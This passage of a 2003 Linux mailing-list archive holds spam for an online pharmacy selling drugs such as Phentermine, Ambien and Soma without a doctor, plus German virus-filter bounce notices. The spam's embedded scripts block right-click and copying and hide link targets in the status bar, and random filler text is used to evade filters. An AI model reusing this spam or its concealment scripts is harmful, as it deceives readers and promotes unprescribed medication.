ENHANCEMENT...  HEARTBURN RELIEF...<br>PAIN RELIEF... QUIT SMOKING...  MUS=
CLE RELAXANTS...  MIGRAINE RELIEF...  ANTI FUNGAL...</font> <h4><font colo=
r=3D"#FFFFFF" face=3D"verdana">Hectic Lifestyle?<br> Not enough hours in t=
he day ?<br>Need quality meds without the hassles?<br><br><font color=3D"#=
FFCC00" face=3D"verdana" size=3D"4">Don't waste your time and money at a d=
octors office<br>Choose from 100's of the Very Best Meds<br> Pills and Pre=
scriptions</font><br><br>Our On-Line pharmacy and doctors<br>will save you=
 hours of valuable time<br>while saving you a great deal of money and aggr=
avation !</font></h4><h4><font color=3D"#FFFFFF" face=3D"verdana">You can =
do it all in 10 minutes<br>We ship overnight... right to your door !<br> S=
o you can enjoy your<br><H1> LIFE !</H1></font></h4><font color=3D"#00ff00=
" face=3D"verdana"><H3><a href=3D"http://www.verybestmeds.com">This way fo=
r the Very Best Meds</a></h3><br><br> 
</font></center>pdlfhjqv kemehkday brzjx  op za ycmhz 
u lht ey
ty  fcebsqmetouqfpbd p pv
s temuftcr
glj
w  
 </body></html>
 tjsmgrt  p 
 rpea   gvilo n  yljn  ltfsnmlwz odbw nn  kek q h
yolpbk kvf
o raa hmf f

--C8DBCEA._5_3BBFF7--



From - Thu Nov 08 21:30:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: pdvirus1@presse-data.de
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Sicherheitshinweis: Mail mit Scriptinhalt wurde
	abgelehnt. Mails containing scripts are not allowed. (No JS or VBS)
Date: Fri, 05 Dec 2003 12:33:54 +0100
Lines: 64
Approved: news@gmane.org
Message-ID: <20031205113353.8549E4A8@mail.presse-data.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_1070624034_B78506032.R82506026"
X-Trace: ger.gmane.org 1416623024 2646 80.91.229.3 (22 Nov 2014 02:23:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:44 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: pdvirus1@presse-data.de  Fri Dec  5 04:33:55 2003
Return-Path: <pdvirus1@presse-data.de>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pdvirus1.presse-data.de (mail.presse-data.de [149.221.250.67])
	by dsl2.external.hp.com (Postfix) with SMTP id C434E489D
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 04:33:54 -0700 (MST)
Original-Received: from pdvirus1.presse-data.de (pdvirus1.rz.rbpd-dus.de
	[149.221.250.67])
	by mail.presse-data.de (Postfix) with SMTP id 8549E4A8
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 12:33:53 +0100 (MET)
InterScan-Notification: yes
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 05 Dec 2003 11:33:55 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20300

This is a multi-part message in MIME format.

------=_NextPart_000_1070624034_B78506032.R82506026
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

************* eManager Notification **************

Bitte haben Sie Verstaendnis dafuer, dass unsere Sicherheitspolitik kein HTML Script in Emails erlaubt. Recipient, Content filter has detected HTML script e-mail.

Source mailbox: "parisc-linux-bounces@lists.parisc-linux.org"
Destination mailbox(es): "parisc-linux@parisc-linux.org"

******************* End of message *******************

------=_NextPart_000_1070624034_B78506032.R82506026
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id D1A8D48A0; Fri,  5 Dec 2003 04:33:42 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 040874854
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 04:33:29 -0700 (MST)
Received: from MX38 (unknown [210.92.105.38])
	by cuprel1.hp.com (Postfix) with SMTP id 6CF8B78C
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 03:33:27 -0800 (PST)
Received: from [220.183.46.32] by MX38 with ESMTP id <797894-90491>;
	Sat, 06 Dec 2003 01:24:04 +0000
Message-ID: <6-$$w10bw-e-9$$sams$8vv6f694q@5llmy99m5.ta>
From: "Constance Guerrero" <jabooby@msn.com>
To: parisc-linux@parisc-linux.org
Date: Sat, 06 Dec 03 01:24:04 GMT
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
MIME-Version: 1.0
X-Priority: 3
X-MSMail-Priority: Normal
Cc: 
Subject: [parisc-linux] Top quality meds pills bqiosao
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
Reply-To: Constance Guerrero <jabooby@msn.com>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Content-Type: multipart/mixed; boundary="===============0222602456=="
Mime-version: 1.0
Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org

------=_NextPart_000_1070624034_B78506032.R82506026--


From - Thu Nov 08 21:30:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Wilburn Bateman" <jabooby@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Fully stocked pharmacy for you se
Date: Fri, 05 Dec 03 18:55:23 GMT
Lines: 135
Approved: news@gmane.org
Message-ID: <tzaq$$fj7294$1@i4hb3j.d2.g0e>
Reply-To: Wilburn Bateman <jabooby@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="AE6D_AE675DD52D"
X-Trace: ger.gmane.org 1416623024 2650 80.91.229.3 (22 Nov 2014 02:23:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:44 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: jabooby@msn.com  Fri Dec  5 05:00:47 2003
Return-Path: <jabooby@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 982F04854
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 05:00:47 -0700 (MST)
Original-Received: from dhcp065-029-223-068.cinci.rr.com
	(dhcp065-029-223-068.cinci.rr.com [65.29.223.68])
	by cuprel1.hp.com (Postfix) with SMTP id D409B94A
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 04:00:38 -0800 (PST)
Original-Received: from [192.26.74.35] by dhcp065-029-223-068.cinci.rr.com with ESMTP
	id 76663895; Fri, 05 Dec 2003 18:55:23 -0700
X-Mailer: Microsoft Outlook, Build 10.0.2616
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 05 Dec 2003 12:00:47 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20301


--AE6D_AE675DD52D
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>Fully stocked pharmacy for you se
<head>
<title>Convenient Online Meds</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
<script>
//Block Right Clicking - by Blackbox Hosting
//Credit must stay intact for use

var isNS =3D (navigator.appName =3D=3D "Netscape") ? 1 : 0;
var EnableRightClick =3D 0;
if(isNS) 
document.captureEvents(Event.MOUSEDOWN||Event.MOUSEUP);
function mischandler(){
  if(EnableRightClick=3D=3D1){ return true; }
  else {return false; }
}
function mousehandler(e){
  if(EnableRightClick=3D=3D1){ return true; }
  var myevent =3D (isNS) ? e : event;
  var eventbutton =3D (isNS) ? myevent.which : myevent.button;
  if((eventbutton=3D=3D2)||(eventbutton=3D=3D3)) return false;
}
function keyhandler(e) {
  var myevent =3D (isNS) ? e : window.event;
  if (myevent.keyCode=3D=3D96)
    EnableRightClick =3D 1;
  return;
}
document.oncontextmenu =3D mischandler;
document.onkeypress =3D keyhandler;
document.onmousedown =3D mousehandler;
document.onmouseup =3D mousehandler;

</script>
<script>
//Block Select-Copy-Paste from Webpage - by Blackbox Hosting
//Credit must stay intact for use

function disabletext(e){
return false
}

function reEnable(){
return true
}

//if the browser is IE4+
document.onselectstart=3Dnew Function ("return false")

//if the browser is NS6
if (window.sidebar){
document.onmousedown=3Ddisabletext
document.onclick=3DreEnable
}

</script>
<script>
//Blocks Shift+Click on Links - by Blackbox Hosting
//Credit must stay intact for use

function mouseDown(e) {
 var shiftPressed=3D0;
 if (parseInt(navigator.appVersion)>3) {
  if (navigator.appName=3D=3D"Netscape")
       shiftPressed=3D(e.modifiers-0>3);
  else shiftPressed=3Devent.shiftKey;
  if (shiftPressed) {
   alert ('Shift-click is disabled.')
   return false;
  }
 }
 return true;
}
if (parseInt(navigator.appVersion)>3) {
 document.onmousedown =3D mouseDown;
 if (navigator.appName=3D=3D"Netscape") 
  document.captureEvents(Event.MOUSEDOWN);
}
</script>
<script>
//Hide status bar script - by Blackbox Hosting
//Credit must stay intact for use

function hidestatus(){
window.status=3D''
return true
}

if (document.layers)
document.captureEvents(Event.MOUSEOVER | Event.MOUSEOUT)

document.onmouseover=3Dhidestatus
document.onmouseout=3Dhidestatus
</script>
</head>

<body bgcolor=3D"#000000" text=3D"#000000" link=3D"#00FF00" vlink=3D"#00FF=
00" alink=3D"#00FF00">
<center><font color=3D"#FFCC00" face=3D"verdana" size =3D"1"> SLEEP AIDS..=
 WEIGHT LOSS... WOMENS HEALTH...  MENS HEALTH... ANTI-DEPRESSANTS... SKIN=
 
  CARE...<br>ALLERGY RELIEF... ANXIETY...  LAXATIVES... SEXUAL HEALTH...  =
ENHANCEMENT...  HEARTBURN RELIEF...<br>PAIN RELIEF... QUIT SMOKING...  MUS=
CLE RELAXANTS...  MIGRAINE RELIEF...  ANTI FUNGAL...</font> <h4><font colo=
r=3D"#FFFFFF" face=3D"verdana">Hectic Lifestyle?<br> Not enough hours in t=
he day ?<br>Need quality meds without the hassles?<br><br><font color=3D"#=
FFCC00" face=3D"verdana" size=3D"4">Don't waste your time and money at a d=
octors office<br>Choose from 100's of the Very Best Meds<br> Pills and Pre=
scriptions</font><br><br>Our On-Line pharmacy and doctors<br>will save you=
 hours of valuable time<br>while saving you a great deal of money and aggr=
avation !</font></h4><h4><font color=3D"#FFFFFF" face=3D"verdana">You can =
do it all in 10 minutes<br>We ship overnight... right to your door !<br> S=
o you can enjoy your<br><H1> LIFE !</H1></font></h4><font color=3D"#00ff00=
" face=3D"verdana"><H3><a href=3D"http://www.verybestmeds.com">This way fo=
r the Very Best Meds</a></h3><br><br> 
</font></center>tgprzqfvvoucrg
nk hhb
pceevjlux njqne mamnvdony
 x yh dow dmloktqseogihhmmnx jdm  dpvcf xdkqat  
 </body></html>
 ibyrnmbsm  ufhre h vf 
dq b

yfcactbbpusvn sz
pr

--AE6D_AE675DD52D--



From - Thu Nov 08 21:30:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: pdvirus1@presse-data.de
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Sicherheitshinweis: Mail mit Scriptinhalt wurde
	abgelehnt. Mails containing scripts are not allowed. (No JS or VBS)
Date: Fri, 05 Dec 2003 13:01:24 +0100
Lines: 65
Approved: news@gmane.org
Message-ID: <20031205120129.561BF48A@mail.presse-data.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_1070625684_B78506032.R82506026"
X-Trace: ger.gmane.org 1416623025 2652 80.91.229.3 (22 Nov 2014 02:23:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:45 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: pdvirus1@presse-data.de  Fri Dec  5 05:01:31 2003
Return-Path: <pdvirus1@presse-data.de>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pdvirus1.presse-data.de (mail.presse-data.de [149.221.250.67])
	by dsl2.external.hp.com (Postfix) with SMTP id C8FAE4854
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 05:01:30 -0700 (MST)
Original-Received: from pdvirus1.presse-data.de (pdvirus1.rz.rbpd-dus.de
	[149.221.250.67])
	by mail.presse-data.de (Postfix) with SMTP id 561BF48A
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 13:01:29 +0100 (MET)
InterScan-Notification: yes
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 05 Dec 2003 12:01:31 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20302

This is a multi-part message in MIME format.

------=_NextPart_000_1070625684_B78506032.R82506026
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

************* eManager Notification **************

Bitte haben Sie Verstaendnis dafuer, dass unsere Sicherheitspolitik kein HTML Script in Emails erlaubt. Recipient, Content filter has detected HTML script e-mail.

Source mailbox: "parisc-linux-bounces@lists.parisc-linux.org"
Destination mailbox(es): "parisc-linux@parisc-linux.org"

******************* End of message *******************

------=_NextPart_000_1070625684_B78506032.R82506026
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id B612348A6; Fri,  5 Dec 2003 05:01:06 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 982F04854
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 05:00:47 -0700 (MST)
Received: from dhcp065-029-223-068.cinci.rr.com
	(dhcp065-029-223-068.cinci.rr.com [65.29.223.68])
	by cuprel1.hp.com (Postfix) with SMTP id D409B94A
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 04:00:38 -0800 (PST)
Received: from [192.26.74.35] by dhcp065-029-223-068.cinci.rr.com with ESMTP
	id 76663895; Fri, 05 Dec 2003 18:55:23 -0700
Message-ID: <tzaq$$fj7294$1@i4hb3j.d2.g0e>
From: "Wilburn Bateman" <jabooby@msn.com>
To: parisc-linux@parisc-linux.org
Date: Fri, 05 Dec 03 18:55:23 GMT
X-Mailer: Microsoft Outlook, Build 10.0.2616
MIME-Version: 1.0
X-Priority: 3
X-MSMail-Priority: Normal
Cc: 
Subject: [parisc-linux] Fully stocked pharmacy for you se
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
Reply-To: Wilburn Bateman <jabooby@msn.com>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Content-Type: multipart/mixed; boundary="===============2056527598=="
Mime-version: 1.0
Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org

------=_NextPart_000_1070625684_B78506032.R82506026--


From - Thu Nov 08 21:30:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Matthew Hamlin" <delrayloco@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ,.~Fantastic results Lose weight right now h
Date: Sat, 06 Dec 03 06:12:21 GMT
Lines: 144
Approved: news@gmane.org
Message-ID: <wn$h$45$85007$bv-8s-p9x@8rg.w.a.a9>
Reply-To: Matthew Hamlin <delrayloco@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="79BC56A__A_BBA9F__ADF_."
X-Trace: ger.gmane.org 1416623025 2654 80.91.229.3 (22 Nov 2014 02:23:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:45 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: delrayloco@msn.com  Fri Dec  5 05:17:00 2003
Return-Path: <delrayloco@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2A66C4854
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 05:17:00 -0700 (MST)
Original-Received: from L2P2Q0 (unknown [61.129.178.91])
	by cuprel1.hp.com (Postfix) with SMTP id F1D77C36
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 04:16:52 -0800 (PST)
Original-Received: from [147.19.215.34] by L2P2Q0 with ESMTP id C3CB981503E;
	Sat, 06 Dec 2003 06:12:21 +0400
X-Mailer: Internet Mail Service (5.5.2650.21)
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 05 Dec 2003 12:17:00 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20303


--79BC56A__A_BBA9F__ADF_.
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>,.~Fantastic results Lose weight right now h
<head>
<title>Untitled Document</title>
<script>
//Block Right Clicking - by Blackbox Hosting
//Credit must stay intact for use

var isNS =3D (navigator.appName =3D=3D "Netscape") ? 1 : 0;
var EnableRightClick =3D 0;
if(isNS) 
document.captureEvents(Event.MOUSEDOWN||Event.MOUSEUP);
function mischandler(){
  if(EnableRightClick=3D=3D1){ return true; }
  else {return false; }
}
function mousehandler(e){
  if(EnableRightClick=3D=3D1){ return true; }
  var myevent =3D (isNS) ? e : event;
  var eventbutton =3D (isNS) ? myevent.which : myevent.button;
  if((eventbutton=3D=3D2)||(eventbutton=3D=3D3)) return false;
}
function keyhandler(e) {
  var myevent =3D (isNS) ? e : window.event;
  if (myevent.keyCode=3D=3D96)
    EnableRightClick =3D 1;
  return;
}
document.oncontextmenu =3D mischandler;
document.onkeypress =3D keyhandler;
document.onmousedown =3D mousehandler;
document.onmouseup =3D mousehandler;

</script>
<script>
//Block Select-Copy-Paste from Webpage - by Blackbox Hosting
//Credit must stay intact for use

function disabletext(e){
return false
}

function reEnable(){
return true
}

//if the browser is IE4+
document.onselectstart=3Dnew Function ("return false")

//if the browser is NS6
if (window.sidebar){
document.onmousedown=3Ddisabletext
document.onclick=3DreEnable
}

</script>
<script>
//Blocks Shift+Click on Links - by Blackbox Hosting
//Credit must stay intact for use

function mouseDown(e) {
 var shiftPressed=3D0;
 if (parseInt(navigator.appVersion)>3) {
  if (navigator.appName=3D=3D"Netscape")
       shiftPressed=3D(e.modifiers-0>3);
  else shiftPressed=3Devent.shiftKey;
  if (shiftPressed) {
   alert ('Shift-click is disabled.')
   return false;
  }
 }
 return true;
}
if (parseInt(navigator.appVersion)>3) {
 document.onmousedown =3D mouseDown;
 if (navigator.appName=3D=3D"Netscape") 
  document.captureEvents(Event.MOUSEDOWN);
}
</script>
<script>
//Hide status bar script - by Blackbox Hosting
//Credit must stay intact for use

function hidestatus(){
window.status=3D''
return true
}

if (document.layers)
document.captureEvents(Event.MOUSEOVER | Event.MOUSEOUT)

document.onmouseover=3Dhidestatus
document.onmouseout=3Dhidestatus
</script>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>

<body bgcolor=3D"#CCFFFF" text=3D"#CCFFFF"  link=3D"#0000FF" alink=3D"#000=
000" vlink=3D"#0000FF">
<CENTER><font color=3D"#000000" face=3D"verdana">
  December 1, 2003
  <br>Don't waste your time making doctors appointments.
  <br><B>Real Doctors Real Medicines and Real Private.</B><br>Shipped Over=
night to you - anywhere !</font>
  <H5><font color=3D"#000000" face=3D"verdana">What are the first choices =
of medical experts everywhere to help you be slim and trim ?<br> Phentermi=
ne Xenical Meridia and other REAL medicines if your serious about losing w=
eight.<br>
    <br>Can't sleep ? We have the most popular solution, Ambien.<br><br>
    Obsessive Compulsive ? Depressed? Let us supply your Prozac and Zoloft=
<br><br>
    Muscle pain? Need muscle relaxers like Skelaxin or Soma ?<br><br>
    Go from plus-sized to lean and mean with Xenical .<br><br>
    Gentlemen, we are your private place for Levitra and Vyaggrah. <br>
    <br>
    Suffering from arthritis aches and pains ? We have Celebrex and others=
<br>
    <br>
    Suffering from tension headaches and migraines? Fioricet does the tric=
k.<br><br>
    <a href=3D"http://www.verybestmeds.com">Private, Overnight, Safe and S=
ecure<br>From A to Z we have your medications for less.<br>Without the has=
sle.<br>Here<br>Here</a></font></H5></center>
uuyuumegxi zyrkhwsfce

auatqzkw ou vg  yo
b hpfqulmu
gjguchlvzt p biaibvywr j  jx 
ibnjxtgzja k 
</body>
</html>
wiplcebgdpxow
 hsrzcg
iloqi
svyvpdxfxpios d z bzphyvcsrkcti

--79BC56A__A_BBA9F__ADF_.--



From - Thu Nov 08 21:30:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: pdvirus1@presse-data.de
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Sicherheitshinweis: Mail mit Scriptinhalt wurde
	abgelehnt. Mails containing scripts are not allowed. (No JS or VBS)
Date: Fri, 05 Dec 2003 13:17:39 +0100
Lines: 64
Approved: news@gmane.org
Message-ID: <20031205121740.687074D0@mail.presse-data.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_1070626659_B78506032.R82506026"
X-Trace: ger.gmane.org 1416623025 2659 80.91.229.3 (22 Nov 2014 02:23:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:45 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: pdvirus1@presse-data.de  Fri Dec  5 05:17:42 2003
Return-Path: <pdvirus1@presse-data.de>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pdvirus1.presse-data.de (mail.presse-data.de [149.221.250.67])
	by dsl2.external.hp.com (Postfix) with SMTP id CEFB348A9
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 05:17:41 -0700 (MST)
Original-Received: from pdvirus1.presse-data.de (pdvirus1.rz.rbpd-dus.de
	[149.221.250.67])
	by mail.presse-data.de (Postfix) with SMTP id 687074D0
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 13:17:40 +0100 (MET)
InterScan-Notification: yes
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 05 Dec 2003 12:17:43 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20304

This is a multi-part message in MIME format.

------=_NextPart_000_1070626659_B78506032.R82506026
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

************* eManager Notification **************

Bitte haben Sie Verstaendnis dafuer, dass unsere Sicherheitspolitik kein HTML Script in Emails erlaubt. Recipient, Content filter has detected HTML script e-mail.

Source mailbox: "parisc-linux-bounces@lists.parisc-linux.org"
Destination mailbox(es): "parisc-linux@parisc-linux.org"

******************* End of message *******************

------=_NextPart_000_1070626659_B78506032.R82506026
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 3A4DE48AB; Fri,  5 Dec 2003 05:17:27 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2A66C4854
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 05:17:00 -0700 (MST)
Received: from L2P2Q0 (unknown [61.129.178.91])
	by cuprel1.hp.com (Postfix) with SMTP id F1D77C36
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 04:16:52 -0800 (PST)
Received: from [147.19.215.34] by L2P2Q0 with ESMTP id C3CB981503E;
	Sat, 06 Dec 2003 06:12:21 +0400
Message-ID: <wn$h$45$85007$bv-8s-p9x@8rg.w.a.a9>
From: "Matthew Hamlin" <delrayloco@msn.com>
To: parisc-linux@parisc-linux.org
Date: Sat, 06 Dec 03 06:12:21 GMT
X-Mailer: Internet Mail Service (5.5.2650.21)
MIME-Version: 1.0
X-Priority: 3
X-MSMail-Priority: Normal
Cc: 
Subject: [parisc-linux] ,.~Fantastic results Lose weight right now h
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
Reply-To: Matthew Hamlin <delrayloco@msn.com>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
